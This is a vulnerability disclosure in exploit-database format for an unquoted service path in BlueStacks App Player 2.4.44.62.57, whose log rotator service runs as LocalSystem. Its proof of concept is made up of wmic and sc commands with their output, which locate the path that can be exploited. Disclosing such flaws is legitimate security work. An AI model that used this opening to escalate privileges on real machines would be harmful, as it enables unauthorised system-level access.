Blue Stacks App Player 2.4.44.62.57 – “BstHdLogRotatorSvc” Unquote Service Path
# Exploit Title: Blue Stacks App Player 2.4.44.62.57 - "BstHdLogRotatorSvc" Unquote Service Path # Date: 2019-11-09 # Exploit Author: Diego Armando Buztamante Rico # Vendor Homepage: www.bluestacks.com # Software Link: www.bluestacks.com # Version: 2.4.44.62.57 # Tested on: Windows 8.1 Pro # CVE: NA #Description #Blue Stacks is an application which allows to run mobile apps on Windows and Mac. #The service BstHdLogRotatorSvc is use to allow HD displays of Blue Stacks app. #The service suffers from an unquoted path. #PoC using CMD #Command to discover the unquoted path: C:\Users\user>wmic service get name, displayname, pathname, startmode | findstr /i "Auto" | findstr /i /V "C:\Windows" | findstr /i /V """" #As a result we have BlueStacks Log Rotator Service BstHdLogRotatorSvc C:\Program Files (x86)\Bluestacks\HD-LogRotatorService.exe Auto #We use the name of service to get its information using next command. C:\Users\user>sc qc BstHdLogRotatorSvc [SC] QueryServiceConfig CORRECTO NOMBRE_SERVICIO: BstHdLogRotatorSvc TIPO : 10 WIN32_OWN_PROCESS TIPO_INICIO : 2 AUTO_START CONTROL_ERROR : 1 NORMAL NOMBRE_RUTA_BINARIO: C:\Program Files (x86)\Bluestacks\HD-LogRotatorService.exe GRUPO_ORDEN_CARGA : ETIQUETA : 0 NOMBRE_MOSTRAR : BlueStacks Log Rotator Service DEPENDENCIAS : NOMBRE_INICIO_SERVICIO: LocalSystem |